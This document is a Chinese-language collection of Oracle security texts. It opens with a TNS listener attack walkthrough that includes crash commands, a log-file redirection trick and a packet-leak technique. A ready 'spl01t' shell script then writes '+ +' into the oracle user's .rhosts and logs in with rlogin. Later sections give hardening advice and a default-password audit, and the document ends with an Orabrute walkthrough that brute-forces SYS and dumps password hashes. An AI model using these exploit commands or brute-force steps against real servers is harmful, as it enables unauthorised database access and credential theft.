      NUM=1   
      INSTANCE_CLASS=ORACLE   
      HANDLER=
        HANDLER_DISPLAY=DEDICATED.SERVER      
        STA=ready      
        HANDLER_INFO=LOCAL.SERVER      
        HANDLER_MAXLOAD=0      
        HANDLER_LOAD=0      
        ESTABLISHED=86      
        REFUSED=0      
        HANDLER_ID=7044210BF823-01C8-E034-0800208A66F0      
        HANDLER_NAME=DEDICATED      
        ADDRESS=
          PROTOCOL=beq        
          PROGRAM=/u01/app/oracle/product/8.1.6/bin/extproc        
          ENVS='ORACLE_HOME=/u01/app/oracle/product/8.1.6,ORACLE_SID=PLSExtProc'
        
          ARGV0=extprocPLSExtProc        
          ARGS='
            LOCAL=NO
          '
      NUMREL=1
PROGRAM, ENVS,
ARGV0 还有一些潜在引人注意的地方,如果tnslsnr以一个交互shell启动,ENVS包含着用户的环境变量。
    Break stuff
tnslsnr
dos攻击是很脆弱的,有潜在的安全问题,对应oracle,只有7.3.4 8.0.6, 8.1.6, 8.1.7会收到影响。对应8.1.6 for Solaris已经验证了。
1
Dos
一个没有passswordtnslsnr可以被stop 命令关掉。一些坏的TNS包可以crash掉监听器,而和DBA设置密码没有关系。
例如:tnscmd [badcommand] -h oraclebox.example.com
而且会SEGV the listener. badcommand 为以下:
trc_file trc_level use_plugandplay trc_directory snmp_visible log_file log_status log_directory

2
写一些文件
回想一下'log_file' 命令和用'status'返回的LOGFILE变量,这个是tnslsnr的日志文件路径,
正如你想象的,这个变量可以改变。通过TNS命令(使用-rawcmd选项)
unix% tnscmd -h oraclebox.example.com -p 1521 --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=/tmp/floboz)))"
tnslsnr
0级挂起下打开/tmp/floboz ,然后开始日志它的信息。通过应答包可以得到验证:
   ........"...(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)(COMMAND=log_file)(LOGFILENAME=/tmp/floboz))
或者
unix% tnscmd status -h oraclebox.example.com --indent |grep LOG
tnscmd
以一个oracle用户进行运行,攻击者可以在oracle用户的目录下写任何文件,如果他知道数据库的路径,可以通过从tnscmd的路径名进推测,然后可以攻击数据库了。
   他也可以选择一条敏感的路线:通过使用finger或者猜测oracle home(/home/oracle? /u/oracle? /opt/oracle?),他也可以建立一个.rhosts或者是.forward文件,当tnslsnr不会日志这么多,它可能记录了一些错误的日志,攻击者可以发送一些命令(记录引用中插入的新行)
unix% tnscmd -h oraclebox.example.com --rawcmd "(CONNECT_DATA=((
   + +
   "
tnslnsr
将会记录下列几行
TNS-01153: Failed to process string:
   + +

   NL-00303: syntax error in NV string
到我们的日志文件/.rhost
3 tns
包泄漏
     据我所了解,这个bug一直在未打补丁包8.1.7版本还有。
通过发送一定尺寸的包到tnslsnr,我们可以得到tnslsnr以前包的内容,利用--cmdsize这个选项,任何一个命令都是可以奏效的,使用“ ”(space,因此我们很有可能保存原始字符串的内容
unix% tnscmd --rawcmd " " -h oraclebox.example.com -p 1521 --cmdsize 40
Sending
   to oraclebox.example.com:1521
Faking command length to 40 bytes
connect writing 84 bytes [(CONNECT_DATA=(COMMAND= ))]
.T.......6.,...............:................4.............(CONNECT_DATA=(COMMA
ND=.))
read
........"...(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(ERROR=(CODE
=1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT'))(ERROR=(CODE=3
03)(EMFI=1))))
..
很奇怪,这个vices))CONNECT是哪里来的?很熟悉吧,这个很象我刚才在最后一个例子里发送的the services command。但是为什么伴随着CONNECT ? CONNECT_DATA是在包的开始部分,这也许有其他的命令吧
unix% tnscmd " " -h oraclebox.example.com -p 1521 --cmdsize 90

[ ... ]
........"...(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(ERROR=(CODE
=1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT_DATA=(SID=stage1
)(global_dbname=stage1.oraclebox.XX'))(ERROR=(CODE=303)(EMFI=1))))
  很显然tsnlsnr没有以前写入包里边的字符串,也许它没有正确终结字符串吧。这也许是最有用的信息吧。试试--cmdsize of 200:
........"..>.H.......@(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(ERROR=(CODE=1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT_DATA=(SID=stage1)(global_dbname=stage1.oraclebox.XXXXXXX.example.com)(CID=(PROGRAM=C:\Program.Files\Quest.Software\TOAD\Toad.exe)(HOST=JAMESK-LT)(USER=JamesK))'))(ERROR=(CODE=303)(EMFI=1))))
添加XXX平衡包,路径,主机名,还有用户名,没有密码,不幸
――SQL*net被一个子进程处理,IIRC――但是这个用户名是一个好的开始,在一个繁忙的服务上,这里可以潜在暴露每个用户的名字,如果监听器输入passwordDBA进行连接,有可能造成密码泄漏。
   通过 cmdsize,一些先前的包被泄漏,一但你经过一个确切点,虽然你会得到TNS error (ERR=1153).但写一个程序用合适的值在服务器上运行几天也许…
   以上在Oracle for Solaris下被验证,而linux下没有表现这些行为。
五:
Notes
Commands intuited from 'strings `which tnslsnr`':
        investigate spawn command; how to list what§ commands can be spawned?
        ping - pings the listener§
       § debug - dumps debugging info to the listener log (/u01/app/oracle/product/8.1.6/network/log/listener.log)
        dispatch -§ ?
        establish - "TNS-12504: TNS:listener was not given the SID in§ CONNECT_DATA"
        reload - reloads config file§
             § 06-OCT-2000 23:37:03 * (CONNECT_DATA=(COMMAND=reload)) * reload * 0
        §      06-OCT-2000 23:37:03 * service_register * pr01dev * 0
        services§ - dumps all sorts of chilly data
        save_config - writes config to a§ backup file. (can this be specified remotely? hrm)
        trace - needs a§ "trace level", unsure of the syntax here
        version - pretty output of§ the installed TNS listener version(s)
        stop - shuts the listener§ down (on purpose). if the DBA has set the database up properly, this should not work without a password.
0-day spl01t:

#!/bin/sh
#
# [email]jwa@jammed.com[/email]
  6 Oct 2000
#

# point the logfile at $HOME/.rhosts

./tnscmd --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=135294976)(VALUE=/u01/home/oracle/.rhosts)))" -h oraclesvr2

# verify that it worked (this will dump the value of log_file)

./tnscmd --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=)(SERVICE=)))" -h oraclesvr2

# put arbitrary data into the logfile-- it will look something like this:
#
# 06-OCT-2000 18:14:46 * log_file * 0
# 06-OCT-2000 18:14:46 * log_file * 0
# 06-OCT-2000 18:14:47 * 1153
# TNS-01153: Failed to process string:
# + +
#
# NL-00303: syntax error in NV string
#

./tnscmd --rawcmd "
+ +
" -h oraclesvr2

#
# connect
#

rlogin -l oracle oraclesvr2
 
 
Oracle数据库安全策略分析
数据库安全性问题一直是围绕着数据库管理员的恶梦,数据库数据的丢失以及数据库被非法用户的侵入使得数据库管理员身心疲惫不堪。围绕数据库的安全性问题提出了一些安全性策略,希望对数据库管理员有所帮助。对于数据库数据的安全问题,数据库管理员可以参考有关系统双机热备份功能以及数据库的备份和恢复的资料。
  一、组和安全性:
  在操作系统下建立用户组也是保证数据库安全性的一种有效方法。Oracle程序为了安全性目的一般分为两类:一类所有的用户都可执行,另一类只DBA可执行。在Unix环境下组设置的配置文件是/etc/group,关于这个文件如何配置,请参阅Unix的有关手册。
  保证安全性的几种方法:
  (1) 在安装OracleServer前,创建数据库管理员组(DBA)而且分配rootOracle软件拥有者的用户ID给这个组。DBA能执行的程序只有710权限。在安装过程中SQL*DBA系统权限命令被自动分配给DBA组。
  (2) 允许一部分Unix用户有限制地访问Oracle服务器系统,增加一个由授权用户组的Oracle组,确保给Oracle服务器实用例程OracleID,公用的可执行程序,比如SQL*PlusSQL*Fo
rms
等,应该可被这组执行,然后该这个实用例程的权限为710,它将允许同组的用户执行,而其他用户不能。
  (3) 改那些不会影响数据库安全性的程序的权限为711。注:在我们的系统中为了安装和调试的方便,Oracle数据库中 的两个具有DBA权限的用户SysSystem的缺省密码是manager。为了您数据库系统的安全,我们强烈建议您该掉这两个用户的密码,具体操作如下:
SQL*DBA下键入:
  alter user sys indentified by password;
  alter user system indentified by password;
  其中password为您为用户设置的密码。[page] Oracle服务器实用例程的安全性:
  以下是保护Oracle服务器不被非法用户使用的几条建议:
  (1) 确保$ORACLE_HOME/bin目录下的所有程序的拥有权归Oracle软件拥有者所有;
  (2) 给所有用户实用便程(sqiplus,sqiforms,exp,imp)711权限,使服务器上所有的用户都可访问Oracle服务器;
  (3) 给所有的DBA实用例程(比如SQL*DBA)700权限。Oracle服务器和Unix组当访问本地的服务器时,您可以通过在操作系统下把Oracle服务器的角色映射到Unix的组的方式来使用Unix管理服务器的安全性,这种方法适应于本地访问。
  在Unix中指定Oracle服务器角色的格式如下:
  ora_sid_role[_dla]
  其中sid是您Oracle数据库的oracle_sid
  role Oracle服务器中角色的名字;
  d (可选)表示这个角色是缺省值;
  a (可选)表示这个角色带有WITH ADMIN选项,
  您只可以把这个角色授予其他角色,不能是其他用户。
  以下是在/etc/group文件中设置的例子:
  ora_test_osoper_d:NONE:1:jim,narry,scott
  ora_test_osdba_a:NONE:3:pat
  ora_test_role1:NONE:4:bob,jane,tom,mary,jim
  bin: NONE:5:root,oracle,dba
  root:NONE:7:root
  词组ora_test_osoper_d表示组的名字;词组NONE表示这个组的密码;数字1表示这个组的ID;接下来的是这个组的成员。前两行是Oracle服务器角色的例子,使用test作为sidosoperosdba作为Oracle服务器角色的名字。osoper是分配给用户的缺省角色,osdba带有WITHADMIN选项。为了使这些数据库角色起作用,您必须shutdown您的数据库系统,设置Oracle数据库参数文件initORACLE_SID.oraos_roles参数为True,然后重新启动您的数据库。如果您想让这些角色有connectinternal权限,运行orapwd为这些角色设置密码。当您尝试connect internal时,您键入的密码表示了角色所对应的权限。
Oracle Web Server里设置使用SSL协议

1998/6/18

Oracle Web Server里产生安全认证请求
genreq /* ORACLE_HOME路径下运行 */

Certificate Request Generator /*
提示信息 */

G - Generate key pair and certificate request

Q - Quit

> Enter choice:

G /*
输入G,产生安全申请的密匙对 */

> Enter password (at least 8 characters) for creating a private key or

press to cancel:

/*
创建私人密匙的口令 */

> Confirm the password:

/*
重复输入密匙的口令 */

> Specify the public exponent used to generate key pair [F4]:

> Enter modulus size [768]:

> Choose how you want to generate a random seed for the key pair.

F - Random file

K - Random key sequences

B - Both

Enter choice:

B /*
输入B,选择产生密匙对的随机数产生方法 */

> Enter the name of file to use as a source of random seed information:

/*
输入ORACLE_HOME路径下任何一个文件名 */

Type random characters (about 400) until you hear a beep:

/*
输入400个随机字符 */

......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

> Stop typing.

> Accept? [Y]

> Enter the name of the distinguished name file [servname.der]:

> Enter the name of the private key file [privkey.der]:

> Enter the name of the certificate request file [certreq.pkc]:

> Enter the identification information for the certificate you are requesting:

> Enter your Common Name (1 to 64 chars):

/*
输入你服务器的域名 */

> Enter your Organization Unit Name (1 to 64 chars):

/*
输入你所在的部门名称 */

> Enter your Organization Name (1 to 64 chars):

/*
输入你的公司名 */

> Enter your Locality Name (1 to 128 chars):

/*
输入你所在的位置 */

> Enter your State or Province (1 to 128 chars) [default: Illinois]:

/*
输入你所在的省或市 */

> Enter your Country Name (2 chars) [default:US]:

CN /*
输入你所在的国家简称 */

> Enter your Web Masters name (1 to 64 chars):

/*
输入你Web站点管理者的名字 */

> Enter your Web Masters E-mail address (1 to 128 chars):

/*
输入你Web站点管理者E-mail地址 */

> Enter the name and version number of application

for which you are getting the certificate (1 to 64 chars)

[Spyglass Server Version 2.11]:

Thank you.

........done /*
安全申请的密匙对成功地产生了 */

G - Generate key pair and certificate request

Q - Quit

> Enter choice:

Q /*
退出申请 */

把安全认证请求发到安全认证机构VeriSign, Inc公司
把第一步产生的安全认证请求文件certreq.pkc内容复制下来,粘贴到认证机构VeriSign, Inc公司(或者其它认证机构)申请框内,接着输入你的联系地址、电话等信息后,提交申请。

接收证书
等待认证机构VeriSign, Inc公司(或者其它认证机构)发给你的邮件。邮件内含有安全认证代码。

安装证书
用文本编辑器把认证机构VeriSign, Inc公司(或者其它认证机构)发给你的邮件中---BEGIN CERTIFICATE---前面的内容和---END CERTIFICATE---后面的内容删去,存在某个后缀是der文件里(例如:cert.der)。
Oracle Web Server里创建443(缺省的https)端口或者其它端口
进入443 Lisenter Configure里选Security,配置Secure Sockets Layer
Cert Label t1 /*
证书标签,任意输入一字符串 */

Cert File /ORACLE_HOME/cert.der / *
证书存放的物理路径 */

Dist Name File /ORACLE_HOME/certreq.pkc /*
认证请求文件存放的物理路径 */

Private Key File /ORACLE_HOME/privkey.der /*
私人密匙存放的物理路径 */

CA Dir /ORACLE_HOME /*
以后有效证书存放的物理路径 */

CRL Dir /ORACLE_HOME /*
以后失效证书存放的物理路径 */

修改Lisenter

Network,修改端口Security属性,从原来NORM改为SSL
启动此端口,在用户的浏览器上输入https://主机名:端口号/,即启动执行SSL协议,在Internet网上传输加过密的较安全信息。
 
 
Oracle管理员认证方法

  1.管理员的权限:

  SYSDBA: 默认schema SYS

  SYSOPER: 默认schema PUBLIC

  这两种权限允许用户在数据库没有打开的时候就可以登陆数据库,所以这种权限的控制权在数据库之外。通常这种权限也可以被看做一种允许你对数据库进行某种操作的连接,比如CONNECT / AS SYSDBA

  2.两种管理员权限认证方法

  (1) Operating system (OS) authentication :操作系统认证

  --以下情况使用该方法:

  管理远程数据库时,具有安全的网络连接(secure connection)。

  管理本地数据库时,想使用OS认证。

  --操作步骤:

  a.建立一个os系统用户

  b.将这个用户加入到OSDBA或者OSOPEROS组。

  c.设置参数REMOTE_LOGIN_PASSWORDFILE=NONE

  d.CONNECT / AS SYSDBA

  --关于OSDBAOSOPER

  OSDBA对应: UNIXdba; WINDOWSORA_DBA

  OSOPER对应:UNIXoper; WINDOWSORA_OPER

  这些用户组在安装数据库的时候手工或者自动创建,这些组的成员以 as sysdba/sysoper 连接数据库后,自动授予sysdba/sysoper的管理权限。

  (2) Password files :密码文件认证

  --以下情况使用该方法:

  管理远程数据库时,没有安全的网络连接(secure connection),比如TCP/IPDECnet协议。

  管理本地数据库时,不想使用OS认证。
--操作步骤:

  a.使用ORAPWD创建密码文件(其中的password选项是为SYS用户设置的)

  b.设置参数REMOTE_LOGIN_PASSWORDFILE=EXCLUSIVE

  c.使用sys用户登陆

  d.在数据库中创建用户 create user donny1 identified by donny1;

  e. 赋予其SYSDBA/SYSOPER权限

  grant sysdba to donny1; 这样就将用户和密码加入到密码文件中。

  f.使用自己的密码logon: connect donny1/donny1 as sysdba;

  g.OS认证优先于密码文件认证:

  只要OS用户属于OSDBA OR OROPER组,并且使用connect as sysdba / sysoper登录,则可以忽略输入的username/password.

  3.关于REMOTE_LOGIN_ PASSWORDFILE

  None: 使得oracle不使用密码文件,只能使用OS认证,不允许通过不安全网络进行远程管理。

  Exclusive: 可以使用唯一的密码文件,但只限一个instance 。密码文件中可以包括除了sys用户的其他用户。

  Shared: 可以在多个数据库上使用共享的密码文件。但是密码文件中只能包含sys用户。通常用于一个dba管理多个数据库的时候。

  4.V$PWFILE_USERS

  使用该视图查看密码文件中的member

  5.非管理员级别用户的OS认证方法:

  关键字:

  os_authent_prefix=ops$

  注意:

  如果用户名为donny.chen,需要用引号。这个时候要用大写"OPS$DONNY.CHEN",否则可以

  SQL> create user ops$oracle identified externally

  2 default tablespace users;

  conn /

  winnt下面需要注意的就是在HKEY_LOCAL_MACHINE/SOFTWARE/ORACLE/HOME0/OSAUTH_PREFIX_DOMAIN项。如果为没有或者为true,表示建用户时需要这样"OPS$主机名用户名"

  所以通常将OSAUTH_PREFIX_DOMAIN改称false
 
就像任何一个大的软件包,Oracle的默认安装不能让大多数安全的系统即装即用。默认安装的一些方面确实是明显不安全的。这就很大程度上依赖数据库管理人员来确定系统是正确配置的,从而避免这些不安全问题。
这篇文章将会探究安装Oracle关系型数据库管理系统的扫描,通过做这样的扫描,将会发现一些普通的安全隐患。当然一篇短短的文章不可能覆盖Oracle安装的所有安全隐患,本文围绕一个简单的脚本而写,读者可以从这里下载:[url]www.pentest-limited.com/scanner.sql.[/url]
这篇文章并不想取代一个完整的Oracle安全性审查,或是Oracle精进测试;此外,对于基于这篇文章的脚本是否可以被描述成一个搜索器也存在争议。文章的意图其实是说明要想检查出一些普通问题是多么简单,简单的安装弱点可以引起安全问题。脚本是使用Oracle标准内部语言PL/SQL编写,以便实用方便。针对文章的目的,脚本只适用于关系型数据库管理系统(RDBMS),并且只覆盖有限的测试集。
检查
这篇文章讨论了一个脚本以及一些它所执行的简单测试用例,脚本是围绕每一个测试而构造的。每一个测试检查以下每一段所描述的问题。
默认用户-检查已知的密码
最容易访问数据库的方法是利用默认帐户(default accounts)。那些默认帐户中的大部分都有大家都已知的默认密码。默认帐户在大多数数据库上不被安装,但是也有少量关键的会作为用户已经安装的例子和附加功能的一部分而一起被安装。
脚本的第一部分很难编码所有的默认用户,密码和它们的哈西表(hashes)。作为检查,只是简单地比较存储在数据库中的哈西表和脚本中提供的那些,如果存在一个匹配,那么默认用户的密码就保持不变。
很明显,这个问题的解决是改变密码或是删除不需要的用户。如果有些默认用户的密码被修改了,就要考虑其他问题了。如用户dbsnmp是由一个智能代理使用,作为Oracle企业管理器(OEM)来执行来自远程控制台的任务。如果密码被改变了,而且OEM正在运行,那么密码同样需要在文件 $ORACLE_HOME/network/admin/snmp_rw.ora file. 中修改
检查那些容易被猜出来的用户密码
提供的脚本不包含这项检查,因为这可以很容易从脚本中推导出来。读者检查正常用户密码可以到达的深度取决于读者自己。最简单的检查是查看用户是否设置密码和用户名一样,你还可以使用一个简单的字典,根据这个字典来做检查。从视图ALL_USERS中选择所有用户,然后产生另一个SQL脚本是相对比较简单的。例如可以是:
SQL> set head off

SQL> set feed off

SQL> set verify off

SQL> set termout off

SQL> set pages 0

SQL> spool check.sql

SQL> select 'connect '||username||'/'||username||';'

2 from all_users;
 
 
connect SYS/SYS;

connect SYSTEM/SYSTEM;

connect OUTLN/OUTLN;

connect DBSNMP/DBSNMP;

connect MTSSYS/MTSSYS;

connect PETE/PETE;

connect RAJK/RAJK;

SQL> spool off
然后运行输出脚本检查是否任何一个用户有和用户名相同的密码。其他检查脚本可以用同样的方法生成,通过使用一个或者从文件读入,或者存储在数据库表中的字典。
内在的用户(INTERNAL)连接
内在的用户名INTERNALOracle 8i不赞成使用,同时被Oracle 9i删除了。作为替代语句connect sys/sys as sysdba被使用。对于Oracle8i,用户名INTERNAL有一个默认密码ORACLE。如果用户SYS没有改变它的密码,那么尝试作为内部连接可以使用密码oracle
检查有DBA(数据库管理员)权限的用户
这项检查脚本中也不包含,纯粹是因为简单。在Oracle8i中存在大量系统权限和具有强大权限的默认角色。所有可用的系统权限都可见,用户SYS可以通过运行下面的选择语句得到,或者一个访问过这个对象并且预先知道用户名的用户也可以。
SQL> select * from system_privilege_map;
一个目的不纯的黑客可以使用任何数量的系统权限。在这个脚本中检查了两种系统权限。对于找出哪个用户被授权为角色dba的规律也是很有帮助的。当然,这并不能抵御滥用特殊权限的特殊用户;但是,一般情况下,黑客都是授权自己为dba或者使用一个有这种权限的帐号,这就很容易被发现。下面的SQL代码指出如何实现:
SQL> select grantee

2 from dba_role_privs

3 where granted_role='DBA';
 
 
GRANTEE

------------------------------

CTXSYS

SYS

SYSTEM
 
 
SQL>
不要忘记,角色可以被角色授予权限,所以要找到这些用户,需要递归查询。
检查权限包含ANY的用户和角色
如果一个用户或是角色具有包含单词ANY的权限,这对黑客来说就是很有用的。一个较好的例子就是权限SELECT ANY TABLE,黑客可能想看到其他用户的表中的数据,但是可能没有那个用户的访问权限或者不能看到用户的表。因为表可能是私有的(private),不开放给其他任何用户访问。但是如果黑客能够找到有SELECT ANY TABLE权限的其他用户,那么他就仍然能得到他想要的,例如:
SQL> connect dbsnmp/dbsnmp

Connected.

SQL> select name,password from sys.user$;

select name,password from sys.user$

*

ERROR at line 1:

ORA-01031: insufficient privileges
 
 


SQL> connect sys/change_on_install

Connected.

SQL> grant select any table to dbsnmp;
 
 
Grant succeeded.
 
 
SQL> connect dbsnmp/dbsnmp

Connected.

SQL> select name,password from sys.user$;
 
 
NAME PASSWORD

------------------------------ ------------------------------

SYS D4C5016086B2DC6A

SYSTEM D4DF7931AB130E37
 
 
2 rows selected.
 
 
SQL>
在这个例子中,用户dbsnmp不能看到sys的私有表user$,但是在授权SELECT ANY TABLEdbsnmp后,表user$就可以被选择查询了。
检查具有with admin或者with grant特权的用户
这两个权力可以在给对象授权的时候添加。对象权限被授予给用户或者角色,让他们可以访问或更改对象。添加with grant选项意味着被授权的用户能将被授予的权限授权给其他用户。这意味着某一个用户可以将管理特定对象的权限传给没被授权可以访问整个架构的用户。
第二个权力with admin,可以在授予系统权限的时候授予。对象权限允许一个用户改变数据,系统权限允许用户改变架构,建立和改变对象。with adminwith grant相似,主要是允许有with admin的系统授权的接受者授予这种权限给其他用户。
这部分脚本输出任何被授予这两种权力的权限。这些权限,以及被授予这些权限的用户,使得黑客很容易找到一个取得对象和数据的方法,如果他们可以猜到一个用户的密码,而不必获取访问权限,或者成为dba用户,或者更高级别的用户。
检查外部用户(EXTERNAL
外部用户是说允许一个应用程序用户通过操作登陆,并且由操作系统自己验证访问数据库的权限而不需要Oracle验证。这个特性非常有用,如果你想要运行批量工作或者更多工作,同时不想在脚本中艰难地编制用户名和密码,或者不想在命令行敲入用户名和密码,那么有了这个特性,用户名和密码就可以通过使用一条操作系统命令 ps -ef | grep sqlplus来获得。
这部分脚本定义一些由操作系统管理的数据库帐户。这些帐户的密码在SYS.USER$中被显示为EXTERNAL以说明他们是由操作系统验证的。使用这些帐户来避免密码在命令行可见,或密码被编码在脚本中,对系统安全来说是很好的方法。因为当黑客发现一个外部用户并获得了到它一个访问后,将会同时获得到数据库的一个访问。所以应当慎用或考虑不使用外部帐号。
除了这种方法,还有很多方法可以用来识别由操作系统验证的用户。如用户名前缀是POS$,它就可能是外部用户。一些安装文件参数也用来控制外部用户,它们是:remote_os_authent os_authent_prefix。讨论这些参数和其他形式的外部变量识别超出了本文章的讨论范围。对于本文来说,找出一些外部变量,并且提示黑客可能会不怀好意地使用它们已经足够了。
系统权限-ALTER SYSTEM and CREATE LIBRARY
Oracle数据库中有很多系统权限。这些系统权限可以直接被授予给一个用户或角色。从系统视图中查询出它们,就可以看到可用的权限。这样的视图可以由以下的SQL语句产生:
SQL> select * from system_privilege_map;
 
 
PRIVILEGE NAME PROPERTY

--------- ---------------------------------------- ---------

-3 ALTER SYSTEM 0

-4 AUDIT SYSTEM 0

-5 CREATE SESSION 0

-6 ALTER SESSION 0



-225 ALTER ANY OUTLINE 0

-226 DROP ANY OUTLINE 0

-227 ADMINISTER RESOURCE MANAGER 1

-228 ADMINISTER DATABASE TRIGGER 0
 
 
126 rows selected.
 
 
SQL>
查看哪个系统权限被授权给了一个用户或是一个角色,使用下面的SQL语句:
SQL> select * from dba_sys_privs;
 
 
GRANTEE PRIVILEGE ADM

------------------------------ ---------------------------------------- ---

AQ_ADMINISTRATOR_ROLE DEQUEUE ANY QUEUE YES

AQ_ADMINISTRATOR_ROLE ENQUEUE ANY QUEUE YES



CONNECT CREATE TABLE NO

CONNECT CREATE VIEW NO

CTXSYS ADMINISTER DATABASE TRIGGER NO

CTXSYS ADMINISTER RESOURCE MANAGER NO

CTXSYS ALTER ANY CLUSTER NO



TIMESERIES_DEVELOPER CREATE VIEW NO
 
 
505 rows selected.
 
 
SQL>
本文选择了最显著的两个系统权限最为例子,是:ALTER SYSTEM CREATE LIBRARY。第一个可能会允许黑客改变系统参数或更多,第二个权限,CREATE LIBRARY允许用户建一个库。这个权限非常危险,因为它可能导致权限的扩大。
utl_file_dir 位置
有很多Oracle数据库早期使用的参数,它们中的很少能被分析出来,这从安全角度考虑是很危险的。控制数据库包UTL_FILE读写目录的参数就是一个很好的例子。如果这个参数被设为*(不包括引号),那么UTL_FILE包就可以被读写到机器上Oracle安装用户(通常是用户(ORACLE)访问的任何目录。一个有ALTER SESSION权限的用户就可能会复制库缓存(library cathe)到一个跟踪文件,然后通过UTL_FILE读取文件的任何内容。如果添加任何用户或修改密码,那么清晰的文本密码都仍然会被看到(只要它不被从缓存中清除)。
下一项检查就是通过把这些参数列出来(这只针对信息),来发现这些参数都在哪儿。 这部分的最后一项检查是检查主要跟踪路径:如果utl_file_diruser_dump_dest相同,那么你可能有和上面描述类似的问题。如果上面的情况都不满足,那就不值得找utl_file_dir了。可能某个人已经把它放到了一个路径下。
具有清晰文本密码的数据库连接
数据库连接允许用户很容易地访问其他数据库的数据。这些连接甚至可以通过使用同义字而隐藏起来,使得SQL不指示真实数据的地址。一个简单的数据库连接可以像下面这样定义:
Create database link test_link

Connect to scott identified by tiger

Using
oids;
using字句支持或者是一个完整的连接字符串,或者是在tnsnames.ora中定义的一个服务器名称。从其他数据库重新得到数据可以使用下面的例子:
SQL> select * from scott.emp@test_link;
有两种数据库连接:共有(public)和私有(private)。Public数据库连接允许任何包含PL/SQL代码的用户通过连接访问远程数据库。Private数据库连接提供更好的安全保障,远程数据库只允许那些拥有连接帐号的用户或是PL/SQL代码访问。
很可能建立一个数据库连接,作为普通用户而不是专门用户连接到远程数据库。样本脚本中的测试允许你观察分配给连接到这个数据库的任何数据库连接的用户名和密码,同时还有权威用户和密码
数据库连接对黑客来说是一个好方法,可以从一个不安全的数据库访问一个安全数据库。黑客可以访问一个防御较弱的数据库,找到一个安全的数据库的用户的用户名和密码。然后他就可以通过连接或直接登陆来访问数据了。
总结
从脚本的输出也可以收集到其他信息,或者可以很容易地改变脚本来提供其他没有覆盖到的细节。使用样本脚本作为一个开始,再添加或修改脚本来覆盖其他问题,这样相对来说比较简单。脚本允许添加附加检查来使数据库的规范检查更自动化。
一个这样的检查可以是检查有多少用户有角色dba。如果任何用户的密码难度不够大,这个角色都将是危险的。检查你的数据库中的每个用户都能做什么,哪个对象是可执行的或可访问的,是被谁执行和访问的,这些检查都是重要的。
监测Oracle数据库中已知的使用和已经被发现的漏洞也是很有用的。监测运行数据库的操作系统的安全,监测数据库连接的网络的安全也是很重要的。同样值得检查数据库中对象的状态和PL/SQL代码,来确定没有任何用户改变任何事情或为了将来的使用添加任何对象。
Oracle同时提供执行权限被授予为public的很多包和对象,这就是说,每个用户都可以访问它们。黑客可以不怀好意地使用用一些如UTL_FILEUTL_HTTPUTL_TCP的包。这一点是要说很多public包是很容易被访问的,而可能是不应该被访问的。评估什么访问是被授权的同时废除所有的也是不需要的。
 
Cain & Abel
这是一个可以破解屏保、PWL密码、共享密码、缓存口令、远程共享口令、SMB口令、支持VNC口令解码、Cisco Type-7口令解码、Base64口令解码、SQL Server 7.0/2000口令解码、Remote Desktop口令解码、Access Database口令解码、Cisco PIX Firewall口令解码、Cisco MD5解码、NTLM Session Security口令解码、IKE Aggressive Mode Pre-Shared Keys口令解码、Dialup口令解码、远程桌面口令解码等综合工具,还可以远程破解,可以挂字典以及暴力破解,其sniffer功能极其强大,几乎可以明文捕获一切帐号口令,包括FTPHTTPIMAPPOP3SMBTELNETVNCTDSSMTPMSKERB5-PREAUTHMSNRADIUS-KEYSRADIUS-USERSICQIKE Aggressive Mode Pre-Shared Keys authentications等。
 
通过Orabrute暴力破解oracle密码
1 标准的Oracle 密码可以由英文字母,数字,#,下划线(_),美元字符($)构成,密码的最大长度为30 字符;Oracle 密码不能以"$""#""_"或任何数字开头;密码不能包含"SELECT""DELETE""CREATE"
类的Oracle/SQL 关键字。
2 Oracle
的弱算法加密机制:两个相同的用户名和密码在两台不同的Oracle 数据库机器中,将具有相同的
哈希值。这些哈希值存储在SYS.USER$表中。可以通过像DBA_USERS 这类的视图来访问。
3 Oracle
默认配置下,每个帐户如果有10 次的失败登录,此帐户将会被锁定。但是SYS 帐户在Oracle
据库中具有最高权限,能够做任何事情,包括启动/关闭Oracle 数据库。即使SYS 被锁定,也依然能够访问
数据库。

由前面的基础知识3,可以得知选择远程破解Oracle 的最好帐户是SYS,因为此帐户永远有效。在Oracle10g以前的版本在安装的时候并没有提示修改SYS 的默认密码,Oracle10g 虽然提示修改密码了,但是并没有检查密码的复杂性。
可以使用Orabrute 工具来进行远程破解,在使用这个工具的时候,需要系统提前安装好Sqlplus,该工具的
原理很简单,就是不停的调用Sqlplus 然后进行登录验证,帐户选择的是SYS,密码则为password.txt 中的密码单词。只要登录成功,就会调用selectpassword.sql 脚本抓取出在SYS.USER$表中的其他用户的哈希值,然后退出程序。这里有个注意的地方,当第二次运行Orabrute 的时候,需要删除或移动同目录下的前一次运行Orabrute 时生成的thepasswordsarehere.txt output.txt 文件。
Orabrute 的使用方法为:
D:\soft\oracle\Orabrute>orabrute
Orabrute v 1.2 by Paul M. Wright and David J. Morgan:
orabrute <hostip> <port> <sid> <millitimewait>
D:\soft\oracle\Orabrute>
Orabrute 的破解速度比较慢,建议在password.txt开头加上诸如change_on_install这样你认为可能的密码。
D:\soft\oracle\Orabrute>orabrute 172.19.111.37 1521 orcl 2000
Orabrute v 1.2 by Paul M. Wright and David J. Morgan:
orabrute <hostip> <port> <sid> <millitimewait>sqlplus.exe -S -L "
SYS/change_on_install@172.19.111.37:1521/orcl" as sysdba @selectpassword.sql
NAME                           PASSWORD
------------------------------ ------------------------------
SYS                            D4C5016086B2DC6A
PUBLIC
CONNECT
RESOURCE
DBA
SYSTEM                         D4DF7931AB130E37
SELECT_CATALOG_ROLE
